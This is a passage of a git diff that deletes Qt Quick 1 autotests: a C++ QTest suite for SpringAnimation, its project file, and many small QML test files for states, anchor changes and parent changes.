index de75bb06cb..0000000000 --- a/tests/auto/qtquick1/qdeclarativespringanimation/data/springanimation2.qml +++ /dev/null @@ -1,9 +0,0 @@ -import QtQuick 1.0 - -SpringAnimation { - to: 1.44; velocity: 0.9 - spring: 1.0; damping: 0.5 - epsilon: 0.25; modulus: 360.0 - mass: 2.0; - running: true; -} diff --git a/tests/auto/qtquick1/qdeclarativespringanimation/data/springanimation3.qml b/tests/auto/qtquick1/qdeclarativespringanimation/data/springanimation3.qml deleted file mode 100644 index b68d769f01..0000000000 --- a/tests/auto/qtquick1/qdeclarativespringanimation/data/springanimation3.qml +++ /dev/null @@ -1,8 +0,0 @@ -import QtQuick 1.0 - -SpringAnimation { - to: 1.44; velocity: 0.9 - spring: 1.0; damping: 0.5 - epsilon: 0.25; modulus: 360.0 - mass: 2.0; running: false -} diff --git a/tests/auto/qtquick1/qdeclarativespringanimation/qdeclarativespringanimation.pro b/tests/auto/qtquick1/qdeclarativespringanimation/qdeclarativespringanimation.pro deleted file mode 100644 index 14b5fb3ec0..0000000000 --- a/tests/auto/qtquick1/qdeclarativespringanimation/qdeclarativespringanimation.pro +++ /dev/null @@ -1,11 +0,0 @@ -CONFIG += testcase -TARGET = tst_qdeclarativespringanimation -macx:CONFIG -= app_bundle - -SOURCES += tst_qdeclarativespringanimation.cpp - -DEFINES += SRCDIR=\\\"$$PWD\\\" - -CONFIG += parallel_test - -QT += core-private gui-private widgets-private v8-private declarative-private qtquick1-private testlib diff --git a/tests/auto/qtquick1/qdeclarativespringanimation/tst_qdeclarativespringanimation.cpp b/tests/auto/qtquick1/qdeclarativespringanimation/tst_qdeclarativespringanimation.cpp deleted file mode 100644 index 235ec68ada..0000000000 --- a/tests/auto/qtquick1/qdeclarativespringanimation/tst_qdeclarativespringanimation.cpp +++ /dev/null @@ -1,130 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include - -class tst_qdeclarativespringanimation : public QObject -{ - Q_OBJECT -public: - tst_qdeclarativespringanimation(); - -private slots: - void defaultValues(); - void values(); - void disabled(); - -private: - QDeclarativeEngine engine; -}; - -tst_qdeclarativespringanimation::tst_qdeclarativespringanimation() -{ -} - -void tst_qdeclarativespringanimation::defaultValues() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/springanimation1.qml")); - QDeclarative1SpringAnimation *obj = qobject_cast(c.create()); - - QVERIFY(obj != 0); - - QCOMPARE(obj->to(), 0.); - QCOMPARE(obj->velocity(), 0.); - QCOMPARE(obj->spring(), 0.); - QCOMPARE(obj->damping(), 0.); - QCOMPARE(obj->epsilon(), 0.01); - QCOMPARE(obj->modulus(), 0.); - QCOMPARE(obj->mass(), 1.); - QCOMPARE(obj->isRunning(), false); - - delete obj; -} - -void tst_qdeclarativespringanimation::values() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/springanimation2.qml")); - QDeclarative1SpringAnimation *obj = qobject_cast(c.create()); - - QVERIFY(obj != 0); - - QCOMPARE(obj->to(), 1.44); - QCOMPARE(obj->velocity(), 0.9); - QCOMPARE(obj->spring(), 1.0); - QCOMPARE(obj->damping(), 0.5); - QCOMPARE(obj->epsilon(), 0.25); - QCOMPARE(obj->modulus(), 360.0); - QCOMPARE(obj->mass(), 2.0); - QCOMPARE(obj->isRunning(), true); - - QTRY_COMPARE(obj->isRunning(), false); - - delete obj; -} - -void tst_qdeclarativespringanimation::disabled() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/springanimation3.qml")); - QDeclarative1SpringAnimation *obj = qobject_cast(c.create()); - - QVERIFY(obj != 0); - - QCOMPARE(obj->to(), 1.44); - QCOMPARE(obj->velocity(), 0.9); - QCOMPARE(obj->spring(), 1.0); - QCOMPARE(obj->damping(), 0.5); - QCOMPARE(obj->epsilon(), 0.25); - QCOMPARE(obj->modulus(), 360.0); - QCOMPARE(obj->mass(), 2.0); - QCOMPARE(obj->isRunning(), false); - - delete obj; -} - -QTEST_MAIN(tst_qdeclarativespringanimation) - -#include "tst_qdeclarativespringanimation.moc" diff --git a/tests/auto/qtquick1/qdeclarativestates/data/ExtendedRectangle.qml b/tests/auto/qtquick1/qdeclarativestates/data/ExtendedRectangle.qml deleted file mode 100644 index d91f504455..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/ExtendedRectangle.qml +++ /dev/null @@ -1,19 +0,0 @@ -import QtQuick 1.0 -Rectangle { - id: extendedRect - objectName: "extendedRect" - property color extendedColor: "orange" - - width: 100; height: 100 - color: "red" - states: State { - name: "green" - PropertyChanges { - target: rect - onDidSomething: { - extendedRect.color = "green" - extendedColor = "green" - } - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/Implementation/MyType.qml b/tests/auto/qtquick1/qdeclarativestates/data/Implementation/MyType.qml deleted file mode 100644 index 6ad3b4a6ba..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/Implementation/MyType.qml +++ /dev/null @@ -1,32 +0,0 @@ -import QtQuick 1.0 - -Item { - Column { - anchors.centerIn: parent - Image { id: image1; objectName: "image1" } - Image { id: image2; objectName: "image2" } - Image { id: image3; objectName: "image3" } - } - - states: State { - name: "SetImageState" - PropertyChanges { - target: image1 - source: "images/qt-logo.png" - } - PropertyChanges { - target: image2 - source: "images/" + "qt-logo.png" - } - PropertyChanges { - target: image3 - source: "images/" + (true ? "qt-logo.png" : "") - } - } - - MouseArea { - anchors.fill: parent - onClicked: parent.state = "SetImageState" - } - -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/Implementation/images/qt-logo.png b/tests/auto/qtquick1/qdeclarativestates/data/Implementation/images/qt-logo.png deleted file mode 100644 index 14ddf2a028..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativestates/data/Implementation/images/qt-logo.png and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativestates/data/QTBUG-14830.qml b/tests/auto/qtquick1/qdeclarativestates/data/QTBUG-14830.qml deleted file mode 100644 index 7f9ddbfa2d..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/QTBUG-14830.qml +++ /dev/null @@ -1,29 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 1024 - height: 768 - - Item { - id: area - objectName: "area" - property int numx: 6 - property int cellwidth: 1024/numx - - onWidthChanged: { - width = width>1024?1024:width; - } - - state: 'minimal' - states: [ - State { - name: 'minimal' - PropertyChanges { - target: area - width: cellwidth - } - } - ] - - } -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/anchorChanges1.qml b/tests/auto/qtquick1/qdeclarativestates/data/anchorChanges1.qml deleted file mode 100644 index fad27080fe..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/anchorChanges1.qml +++ /dev/null @@ -1,23 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: container - width: 200; height: 200 - Rectangle { - id: myRect - objectName: "MyRect" - width: 50; height: 50 - color: "green"; - anchors.left: parent.left - anchors.leftMargin: 5 - } - states: State { - name: "right" - AnchorChanges { - id: ancCh - target: myRect; - anchors.left: undefined - anchors.right: container.right - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/anchorChanges2.qml b/tests/auto/qtquick1/qdeclarativestates/data/anchorChanges2.qml deleted file mode 100644 index e1d4d66abd..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/anchorChanges2.qml +++ /dev/null @@ -1,21 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 200; height: 200 - Rectangle { - id: myRect - objectName: "MyRect" - width: 50; height: 50 - color: "green"; - anchors.left: parent.left - anchors.leftMargin: 5 - } - states: State { - name: "right" - AnchorChanges { - target: myRect; - anchors.left: undefined - anchors.right: parent.right - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/anchorChanges3.qml b/tests/auto/qtquick1/qdeclarativestates/data/anchorChanges3.qml deleted file mode 100644 index 116b844489..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/anchorChanges3.qml +++ /dev/null @@ -1,29 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: container - width: 200; height: 200 - Rectangle { - id: myRect - objectName: "MyRect" - color: "green"; - anchors.left: parent.left - anchors.right: rightGuideline.left - anchors.top: topGuideline.top - anchors.bottom: container.bottom - } - Item { objectName: "LeftGuideline"; id: leftGuideline; x: 10 } - Item { id: rightGuideline; x: 150 } - Item { id: topGuideline; y: 10 } - Item { objectName: "BottomGuideline"; id: bottomGuideline; y: 150 } - states: State { - name: "reanchored" - AnchorChanges { - target: myRect; - anchors.left: leftGuideline.left - anchors.right: container.right - anchors.top: container.top - anchors.bottom: bottomGuideline.bottom - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/anchorChanges4.qml b/tests/auto/qtquick1/qdeclarativestates/data/anchorChanges4.qml deleted file mode 100644 index eaff37345b..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/anchorChanges4.qml +++ /dev/null @@ -1,22 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 200; height: 200 - Rectangle { - id: myRect - objectName: "MyRect" - color: "green"; - anchors.horizontalCenter: parent.horizontalCenter - anchors.verticalCenter: parent.verticalCenter - } - Item { objectName: "LeftGuideline"; id: leftGuideline; x: 10 } - Item { objectName: "BottomGuideline"; id: bottomGuideline; y: 150 } - states: State { - name: "reanchored" - AnchorChanges { - target: myRect; - anchors.horizontalCenter: bottomGuideline.horizontalCenter - anchors.verticalCenter: leftGuideline.verticalCenter - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/anchorChanges5.qml b/tests/auto/qtquick1/qdeclarativestates/data/anchorChanges5.qml deleted file mode 100644 index ea7b251151..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/anchorChanges5.qml +++ /dev/null @@ -1,22 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 200; height: 200 - Rectangle { - id: myRect - objectName: "MyRect" - color: "green"; - anchors.horizontalCenter: parent.horizontalCenter - anchors.baseline: parent.baseline - } - Item { objectName: "LeftGuideline"; id: leftGuideline; x: 10 } - Item { objectName: "BottomGuideline"; id: bottomGuideline; y: 150 } - states: State { - name: "reanchored" - AnchorChanges { - target: myRect; - anchors.horizontalCenter: bottomGuideline.horizontalCenter - anchors.baseline: leftGuideline.baseline - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/anchorChangesCrash.qml b/tests/auto/qtquick1/qdeclarativestates/data/anchorChangesCrash.qml deleted file mode 100644 index ca96da8855..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/anchorChangesCrash.qml +++ /dev/null @@ -1,14 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: container - width: 400 - height: 400 - - states: State { - name: "reanchored" - AnchorChanges { - anchors.top: container.top - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/anchorRewindBug.qml b/tests/auto/qtquick1/qdeclarativestates/data/anchorRewindBug.qml deleted file mode 100644 index 6277111e68..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/anchorRewindBug.qml +++ /dev/null @@ -1,37 +0,0 @@ -import QtQuick 1.0 -Rectangle { - id: container - color: "red" - height: 200 - width: 200 - Column { - id: column - objectName: "column" - anchors.left: container.right - anchors.bottom: container.bottom - - Rectangle { - id: rectangle - color: "blue" - height: 100 - width: 200 - } - Rectangle { - color: "blue" - height: 100 - width: 200 - } - } - states: State { - name: "reanchored" - AnchorChanges { - target: column - anchors.left: undefined - anchors.right: container.right - } - PropertyChanges { - target: rectangle - opacity: 0 - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/anchorRewindBug2.qml b/tests/auto/qtquick1/qdeclarativestates/data/anchorRewindBug2.qml deleted file mode 100644 index d8b02e9b32..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/anchorRewindBug2.qml +++ /dev/null @@ -1,25 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: root - width:200; height:300 - - Rectangle { - id: rectangle - objectName: "mover" - color: "green" - width:50; height:50 - } - - states: [ - State { - name: "anchored" - AnchorChanges { - target: rectangle - anchors.left: root.left - anchors.right: root.right - anchors.bottom: root.bottom - } - } - ] -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/attachedPropertyChanges.qml b/tests/auto/qtquick1/qdeclarativestates/data/attachedPropertyChanges.qml deleted file mode 100644 index 2cad0504b2..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/attachedPropertyChanges.qml +++ /dev/null @@ -1,20 +0,0 @@ -import Qt.test 1.0 -import QtQuick 1.0 - -Item { - id: item - width: 100; height: 100 - MyRectangle.foo: 0 - - states: State { - name: "foo1" - PropertyChanges { - target: item - MyRectangle.foo: 1 - width: 50 - } - } - - Component.onCompleted: item.state = "foo1" -} - diff --git a/tests/auto/qtquick1/qdeclarativestates/data/autoStateAtStartupRestoreBug.qml b/tests/auto/qtquick1/qdeclarativestates/data/autoStateAtStartupRestoreBug.qml deleted file mode 100644 index ccd126f6a7..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/autoStateAtStartupRestoreBug.qml +++ /dev/null @@ -1,18 +0,0 @@ -import QtQuick 1.0 - -Item { - id: root - property int input: 1 - property int test: 9 - - states: [ - State { - name: "portrait" - when: root.input == 1 - PropertyChanges { - target: root - test: 3 - } - } - ] -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/basicBinding.qml b/tests/auto/qtquick1/qdeclarativestates/data/basicBinding.qml deleted file mode 100644 index 2060f03009..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/basicBinding.qml +++ /dev/null @@ -1,12 +0,0 @@ -import QtQuick 1.0 -Rectangle { - id: myRectangle - - property color sourceColor: "blue" - width: 100; height: 100 - color: "red" - states: State { - name: "blue" - PropertyChanges { target: myRectangle; color: sourceColor } - } -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/basicBinding2.qml b/tests/auto/qtquick1/qdeclarativestates/data/basicBinding2.qml deleted file mode 100644 index a329da33dd..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/basicBinding2.qml +++ /dev/null @@ -1,12 +0,0 @@ -import QtQuick 1.0 -Rectangle { - id: myRectangle - - property color sourceColor: "red" - width: 100; height: 100 - color: sourceColor - states: State { - name: "blue" - PropertyChanges { target: myRectangle; color: "blue" } - } -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/basicBinding3.qml b/tests/auto/qtquick1/qdeclarativestates/data/basicBinding3.qml deleted file mode 100644 index cb054d214d..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/basicBinding3.qml +++ /dev/null @@ -1,13 +0,0 @@ -import QtQuick 1.0 -Rectangle { - id: myRectangle - - property color sourceColor: "red" - property color sourceColor2: "blue" - width: 100; height: 100 - color: sourceColor - states: State { - name: "blue" - PropertyChanges { target: myRectangle; color: sourceColor2 } - } -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/basicBinding4.qml b/tests/auto/qtquick1/qdeclarativestates/data/basicBinding4.qml deleted file mode 100644 index 7a740e570c..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/basicBinding4.qml +++ /dev/null @@ -1,17 +0,0 @@ -import QtQuick 1.0 -Rectangle { - id: myRectangle - - property color sourceColor: "blue" - width: 100; height: 100 - color: "red" - states: [ - State { - name: "blue" - PropertyChanges { target: myRectangle; color: sourceColor } - }, - State { - name: "green" - PropertyChanges { target: myRectangle; color: "green" } - }] -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/basicChanges.qml b/tests/auto/qtquick1/qdeclarativestates/data/basicChanges.qml deleted file mode 100644 index 08ce7875f0..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/basicChanges.qml +++ /dev/null @@ -1,10 +0,0 @@ -import QtQuick 1.0 -Rectangle { - id: myRectangle - width: 100; height: 100 - color: "red" - states: State { - name: "blue" - PropertyChanges { target: myRectangle; color: "blue" } - } -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/basicChanges2.qml b/tests/auto/qtquick1/qdeclarativestates/data/basicChanges2.qml deleted file mode 100644 index ab97ba18b5..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/basicChanges2.qml +++ /dev/null @@ -1,15 +0,0 @@ -import QtQuick 1.0 -Rectangle { - id: myRectangle - width: 100; height: 100 - color: "red" - states: [ - State { - name: "blue" - PropertyChanges { target: myRectangle; color: "blue" } - }, - State { - name: "green" - PropertyChanges { target: myRectangle; color: "green" } - }] -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/basicChanges3.qml b/tests/auto/qtquick1/qdeclarativestates/data/basicChanges3.qml deleted file mode 100644 index 73ac34d7ff..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/basicChanges3.qml +++ /dev/null @@ -1,15 +0,0 @@ -import QtQuick 1.0 -Rectangle { - id: myRectangle - width: 100; height: 100 - color: "red" - states: [ - State { - name: "blue" - PropertyChanges { target: myRectangle; color: "blue" } - }, - State { - name: "bordered" - PropertyChanges { target: myRectangle; border.width: 2 } - }] -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/basicChanges4.qml b/tests/auto/qtquick1/qdeclarativestates/data/basicChanges4.qml deleted file mode 100644 index b5df922190..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/basicChanges4.qml +++ /dev/null @@ -1,19 +0,0 @@ -import Qt.test 1.0 -import QtQuick 1.0 - -MyRectangle { - id: rect - width: 100; height: 100 - color: "red" - - states: State { - name: "aBlueDay" - PropertyChanges { - target: rect - onPropertyWithNotifyChanged: { rect.color = "blue"; } - } - } - - Component.onCompleted: rect.state = "aBlueDay" -} - diff --git a/tests/auto/qtquick1/qdeclarativestates/data/basicExtension.qml b/tests/auto/qtquick1/qdeclarativestates/data/basicExtension.qml deleted file mode 100644 index 58c9fbe231..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/basicExtension.qml +++ /dev/null @@ -1,16 +0,0 @@ -import QtQuick 1.0 -Rectangle { - id: myRectangle - width: 100; height: 100 - color: "red" - states: [ - State { - name: "blue" - PropertyChanges { target: myRectangle; color: "blue" } - }, - State { - name: "bordered" - extend: "blue" - PropertyChanges { target: myRectangle; border.width: 2 } - }] -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/deleting.qml b/tests/auto/qtquick1/qdeclarativestates/data/deleting.qml deleted file mode 100644 index d1b3fd3a10..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/deleting.qml +++ /dev/null @@ -1,11 +0,0 @@ -import QtQuick 1.0 -Rectangle { - id: myRectangle - width: 100; height: 100 - color: "red" - states: State { - name: "blue" - PropertyChanges { target: myRectangle; color: "blue"; objectName: "pc1" } - PropertyChanges { target: myRectangle; radius: 5; objectName: "pc2" } - } -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/deletingState.qml b/tests/auto/qtquick1/qdeclarativestates/data/deletingState.qml deleted file mode 100644 index 654e09cb2e..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/deletingState.qml +++ /dev/null @@ -1,13 +0,0 @@ -import QtQuick 1.0 -Rectangle { - id: myRectangle - width: 100; height: 100 - color: "red" - StateGroup { - id: stateGroup - states: State { - name: "blue" - PropertyChanges { target: myRectangle; color: "blue" } - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/editProperties.qml b/tests/auto/qtquick1/qdeclarativestates/data/editProperties.qml deleted file mode 100644 index 08d0209615..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/editProperties.qml +++ /dev/null @@ -1,34 +0,0 @@ -import QtQuick 1.0 -Rectangle { - id: myRectangle - - property color sourceColor: "blue" - width: 400; height: 400 - color: "red" - - Rectangle { - id: rect2 - objectName: "rect2" - width: parent.width + 2 - height: 200 - color: "yellow" - } - - states: [ - State { - name: "blue" - PropertyChanges { - target: rect2 - width:50 - height: 40 - } - }, - State { - name: "green" - PropertyChanges { - target: rect2 - width: myRectangle.width / 2 - height: myRectangle.width / 4 - } - }] -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/explicit.qml b/tests/auto/qtquick1/qdeclarativestates/data/explicit.qml deleted file mode 100644 index 426731914f..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/explicit.qml +++ /dev/null @@ -1,15 +0,0 @@ -import QtQuick 1.0 -Rectangle { - id: myRectangle - property color sourceColor: "blue" - width: 100; height: 100 - color: "red" - states: State { - name: "blue" - PropertyChanges { - objectName: "changes" - target: myRectangle; explicit: true - color: sourceColor - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/extendsBug.qml b/tests/auto/qtquick1/qdeclarativestates/data/extendsBug.qml deleted file mode 100644 index a4b77b122e..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/extendsBug.qml +++ /dev/null @@ -1,26 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 200 - height: 200 - - Rectangle { - id: rect - objectName: "greenRect" - width: 100 - height: 100 - color: "green" - } - - states:[ - State { - name: "a" - PropertyChanges { target: rect; x: 100 } - }, - State { - name: "b" - extend:"a" - PropertyChanges { target: rect; y: 100 } - } - ] -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/fakeExtension.qml b/tests/auto/qtquick1/qdeclarativestates/data/fakeExtension.qml deleted file mode 100644 index a98c96bedc..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/fakeExtension.qml +++ /dev/null @@ -1,16 +0,0 @@ -import QtQuick 1.0 -Rectangle { - id: myRectangle - width: 100; height: 100 - color: "red" - states: [ - State { - name: "blue" - PropertyChanges { target: myRectangle; color: "blue" } - }, - State { - name: "green" - extend: "blue" - PropertyChanges { target: myRectangle; color: "green" } - }] -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/illegalObj.qml b/tests/auto/qtquick1/qdeclarativestates/data/illegalObj.qml deleted file mode 100644 index e6444325a3..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/illegalObj.qml +++ /dev/null @@ -1,12 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: myItem - - states : State { - PropertyChanges { - target: myItem - children: Item { id: newItem } - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/illegalTempState.qml b/tests/auto/qtquick1/qdeclarativestates/data/illegalTempState.qml deleted file mode 100644 index c04b03c94b..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/illegalTempState.qml +++ /dev/null @@ -1,21 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: card - width: 100; height: 100 - - states: [ - State { - name: "placed" - PropertyChanges { target: card; state: "idle" } - }, - State { - name: "idle" - } - ] - - MouseArea { - anchors.fill: parent - onClicked: card.state = "placed" - } -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/image.png b/tests/auto/qtquick1/qdeclarativestates/data/image.png deleted file mode 100644 index ed1833c95b..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativestates/data/image.png and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativestates/data/legalTempState.qml b/tests/auto/qtquick1/qdeclarativestates/data/legalTempState.qml deleted file mode 100644 index 4d500d9e05..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/legalTempState.qml +++ /dev/null @@ -1,23 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: card - width: 100; height: 100 - - states: [ - State { - name: "placed" - onCompleted: card.state = "idle" - StateChangeScript { script: console.log("entering placed") } - }, - State { - name: "idle" - StateChangeScript { script: console.log("entering idle") } - } - ] - - MouseArea { - anchors.fill: parent - onClicked: card.state = "placed" - } -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/nonExistantProp.qml b/tests/auto/qtquick1/qdeclarativestates/data/nonExistantProp.qml deleted file mode 100644 index 4973b82c3f..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/nonExistantProp.qml +++ /dev/null @@ -1,11 +0,0 @@ -import QtQuick 1.0 -Rectangle { - id: myRectangle - - width: 100; height: 100 - color: "red" - states: State { - name: "blue" - PropertyChanges { target: myRectangle; colr: "blue" } - } -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/parentChange1.qml b/tests/auto/qtquick1/qdeclarativestates/data/parentChange1.qml deleted file mode 100644 index 2f7e80eb08..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/parentChange1.qml +++ /dev/null @@ -1,37 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 400; height: 400 - Item { - x: 10; y: 10 - Rectangle { - id: myRect - objectName: "MyRect" - x: 5 - width: 100; height: 100 - color: "red" - } - } - MouseArea { - id: clickable - anchors.fill: parent - } - - Item { - x: -100; y: -50 - Item { - id: newParent - objectName: "NewParent" - x: 248; y: 360 - } - } - - states: State { - name: "reparented" - when: clickable.pressed - ParentChange { - target: myRect - parent: newParent - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/parentChange2.qml b/tests/auto/qtquick1/qdeclarativestates/data/parentChange2.qml deleted file mode 100644 index bdd0c6c282..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/parentChange2.qml +++ /dev/null @@ -1,31 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: newParent - width: 400; height: 400 - Item { - scale: .5 - rotation: 15 - x: 10; y: 10 - Rectangle { - id: myRect - objectName: "MyRect" - x: 5 - width: 100; height: 100 - color: "red" - } - } - MouseArea { - id: clickable - anchors.fill: parent - } - - states: State { - name: "reparented" - when: clickable.pressed - ParentChange { - target: myRect - parent: newParent - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/parentChange3.qml b/tests/auto/qtquick1/qdeclarativestates/data/parentChange3.qml deleted file mode 100644 index 55f3ead7c6..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/parentChange3.qml +++ /dev/null @@ -1,42 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 400; height: 400 - Item { - scale: .5 - rotation: 15 - transformOrigin: "Center" - x: 10; y: 10 - Rectangle { - id: myRect - objectName: "MyRect" - x: 5 - width: 100; height: 100 - transformOrigin: "BottomLeft" - color: "red" - } - } - MouseArea { - id: clickable - anchors.fill: parent - } - - Item { - x: 200; y: 200 - rotation: 52; - scale: 2 - Item { - id: newParent - x: 100; y: 100 - } - } - - states: State { - name: "reparented" - when: clickable.pressed - ParentChange { - target: myRect - parent: newParent - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/parentChange4.qml b/tests/auto/qtquick1/qdeclarativestates/data/parentChange4.qml deleted file mode 100644 index ae05b05072..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/parentChange4.qml +++ /dev/null @@ -1,30 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 400; height: 400 - Rectangle { - id: myRect - objectName: "MyRect" - x: 5; y: 5 - width: 100; height: 100 - color: "red" - } - MouseArea { - id: clickable - anchors.fill: parent - } - - Item { - id: newParent - transform: Scale { xScale: .5; yScale: .7} - } - - states: State { - name: "reparented" - when: clickable.pressed - ParentChange { - target: myRect - parent: newParent - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/parentChange5.qml b/tests/auto/qtquick1/qdeclarativestates/data/parentChange5.qml deleted file mode 100644 index 32a0b91cd9..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/parentChange5.qml +++ /dev/null @@ -1,30 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 400; height: 400 - Rectangle { - id: myRect - objectName: "MyRect" - x: 5; y: 5 - width: 100; height: 100 - color: "red" - } - MouseArea { - id: clickable - anchors.fill: parent - } - - Item { - id: newParent - transform: Rotation { angle: 30; axis { x: 0; y: 1; z: 0 } } - } - - states: State { - name: "reparented" - when: clickable.pressed - ParentChange { - target: myRect - parent: newParent - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/parentChange6.qml b/tests/auto/qtquick1/qdeclarativestates/data/parentChange6.qml deleted file mode 100644 index 70ad894ffc..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/parentChange6.qml +++ /dev/null @@ -1,30 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 400; height: 400 - Rectangle { - id: myRect - objectName: "MyRect" - x: 5; y: 5 - width: 100; height: 100 - color: "red" - } - MouseArea { - id: clickable - anchors.fill: parent - } - - Item { - id: newParent - rotation: 180 - } - - states: State { - name: "reparented" - when: clickable.pressed - ParentChange { - target: myRect - parent: newParent - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/propertyErrors.qml 